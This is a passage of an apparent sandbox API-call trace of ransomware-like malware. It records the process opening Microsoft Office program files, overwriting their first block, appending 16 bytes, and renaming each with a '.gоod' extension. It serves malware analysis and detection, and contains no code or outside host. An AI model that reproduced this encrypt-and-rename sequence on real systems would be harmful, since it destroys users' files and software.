dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0174.943] GetFileType (hFile=0x630) returned 0x1 [0174.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0174.943] GetFileType (hFile=0x630) returned 0x1 [0174.943] WriteFile (in: hFile=0x630, lpBuffer=0x34529d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x34529d0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0174.943] CloseHandle (hObject=0x630) returned 1 [0174.943] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL", lpFilePart=0x0) returned 0x3c [0174.943] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL.gоod", lpFilePart=0x0) returned 0x41 [0174.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0174.943] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2excl.xsl"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x647bf8bd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10d8)) returned 1 [0174.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0174.943] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2excl.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2EXCL.XSL.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2excl.xsl.gоod")) returned 1 [0174.944] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL", lpFilePart=0x0) returned 0x3c [0174.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0174.944] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2word.xsl"), fInfoLevelId=0x0, lpFileInformation=0x34d0148 | out: lpFileInformation=0x34d0148*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x50ade23, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x189d)) returned 1 [0174.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0174.944] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL", lpFilePart=0x0) returned 0x3c [0174.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0174.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2word.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0174.945] GetFileType (hFile=0x630) returned 0x1 [0174.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0174.945] GetFileType (hFile=0x630) returned 0x1 [0174.945] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0174.945] ReadFile (in: hFile=0x630, lpBuffer=0x34d0540, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x34d0540*, lpNumberOfBytesRead=0x1f59e808*=0x89d, lpOverlapped=0x0) returned 1 [0175.325] CloseHandle (hObject=0x630) returned 1 [0175.372] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL", lpFilePart=0x0) returned 0x3c [0175.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0175.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2word.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0175.372] GetFileType (hFile=0x804) returned 0x1 [0175.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0175.372] GetFileType (hFile=0x804) returned 0x1 [0175.373] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x189d [0175.373] WriteFile (in: hFile=0x804, lpBuffer=0x35772e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x35772e0*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0175.373] CloseHandle (hObject=0x804) returned 1 [0175.373] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL", lpFilePart=0x0) returned 0x3c [0175.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0175.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2word.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0175.373] GetFileType (hFile=0x804) returned 0x1 [0175.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0175.373] GetFileType (hFile=0x804) returned 0x1 [0175.373] ReadFile (in: hFile=0x804, lpBuffer=0x3579590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3579590*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0175.399] CloseHandle (hObject=0x804) returned 1 [0175.399] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL", lpFilePart=0x0) returned 0x3c [0175.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0175.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2word.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0175.400] GetFileType (hFile=0x804) returned 0x1 [0175.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0175.400] GetFileType (hFile=0x804) returned 0x1 [0175.400] WriteFile (in: hFile=0x804, lpBuffer=0x35782f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x35782f8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0175.400] CloseHandle (hObject=0x804) returned 1 [0175.400] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL", lpFilePart=0x0) returned 0x3c [0175.400] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL.gоod", lpFilePart=0x0) returned 0x41 [0175.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0175.400] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2word.xsl"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x64c37cf6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18ad)) returned 1 [0175.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0175.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2word.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VBS2WORD.XSL.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\vbs2word.xsl.gоod")) returned 1 [0175.401] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE", lpFilePart=0x0) returned 0x3b [0175.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0175.401] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visicon.exe"), fInfoLevelId=0x0, lpFileInformation=0x35f5bf0 | out: lpFileInformation=0x35f5bf0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x522b72d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5277b31, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x248040)) returned 1 [0175.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0175.402] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE", lpFilePart=0x0) returned 0x3b [0175.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0175.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visicon.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0175.403] GetFileType (hFile=0x804) returned 0x1 [0175.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0175.403] GetFileType (hFile=0x804) returned 0x1 [0175.403] SetFilePointer (in: hFile=0x804, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0175.403] ReadFile (in: hFile=0x804, lpBuffer=0x35f5fc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x35f5fc8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0175.404] CloseHandle (hObject=0x804) returned 1 [0175.404] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE", lpFilePart=0x0) returned 0x3b [0175.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0175.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visicon.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0175.404] GetFileType (hFile=0x804) returned 0x1 [0175.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0175.404] GetFileType (hFile=0x804) returned 0x1 [0175.404] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x248040 [0175.405] WriteFile (in: hFile=0x804, lpBuffer=0x35f7240*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x35f7240*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0175.650] CloseHandle (hObject=0x804) returned 1 [0176.570] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE", lpFilePart=0x0) returned 0x3b [0176.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0176.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visicon.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0176.570] GetFileType (hFile=0x804) returned 0x1 [0176.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0176.570] GetFileType (hFile=0x804) returned 0x1 [0176.570] ReadFile (in: hFile=0x804, lpBuffer=0x3592738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3592738*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0176.610] CloseHandle (hObject=0x804) returned 1 [0176.610] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE", lpFilePart=0x0) returned 0x3b [0176.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0176.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visicon.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0176.610] GetFileType (hFile=0x804) returned 0x1 [0176.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0176.611] GetFileType (hFile=0x804) returned 0x1 [0176.611] WriteFile (in: hFile=0x804, lpBuffer=0x35914b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x35914b0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0176.611] CloseHandle (hObject=0x804) returned 1 [0176.611] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE", lpFilePart=0x0) returned 0x3b [0176.611] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE.gоod", lpFilePart=0x0) returned 0x40 [0176.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0176.611] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visicon.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x522b72d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x657b124f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x248050)) returned 1 [0176.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0176.611] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visicon.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISICON.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visicon.exe.gоod")) returned 1 [0176.612] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE", lpFilePart=0x0) returned 0x39 [0176.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0176.612] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe"), fInfoLevelId=0x0, lpFileInformation=0x360ead0 | out: lpFileInformation=0x360ead0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640)) returned 1 [0176.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0176.612] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE", lpFilePart=0x0) returned 0x39 [0176.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0176.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0176.613] GetFileType (hFile=0x804) returned 0x1 [0176.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0176.613] GetFileType (hFile=0x804) returned 0x1 [0176.613] SetFilePointer (in: hFile=0x804, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0176.613] ReadFile (in: hFile=0x804, lpBuffer=0x360eea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x360eea8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0176.614] CloseHandle (hObject=0x804) returned 1 [0176.614] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE", lpFilePart=0x0) returned 0x39 [0176.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0176.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0176.614] GetFileType (hFile=0x804) returned 0x1 [0176.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0176.614] GetFileType (hFile=0x804) returned 0x1 [0176.614] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x14a640 [0176.614] WriteFile (in: hFile=0x804, lpBuffer=0x3610120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3610120*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0176.615] CloseHandle (hObject=0x804) returned 1 [0176.615] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE", lpFilePart=0x0) returned 0x39 [0176.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0176.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0176.615] GetFileType (hFile=0x804) returned 0x1 [0176.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0176.615] GetFileType (hFile=0x804) returned 0x1 [0176.615] ReadFile (in: hFile=0x804, lpBuffer=0x36123c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x36123c0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0177.670] CloseHandle (hObject=0x804) returned 1 [0177.670] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE", lpFilePart=0x0) returned 0x39 [0177.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0177.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0177.670] GetFileType (hFile=0x804) returned 0x1 [0177.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0177.670] GetFileType (hFile=0x804) returned 0x1 [0177.670] WriteFile (in: hFile=0x804, lpBuffer=0x33964a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x33964a0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0177.670] CloseHandle (hObject=0x804) returned 1 [0177.670] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE", lpFilePart=0x0) returned 0x39 [0177.670] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE.gоod", lpFilePart=0x0) returned 0x3e [0177.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0177.670] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x661d34e5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14a650)) returned 1 [0177.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0177.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.exe.gоod")) returned 1 [0177.672] GetFullPathNameW 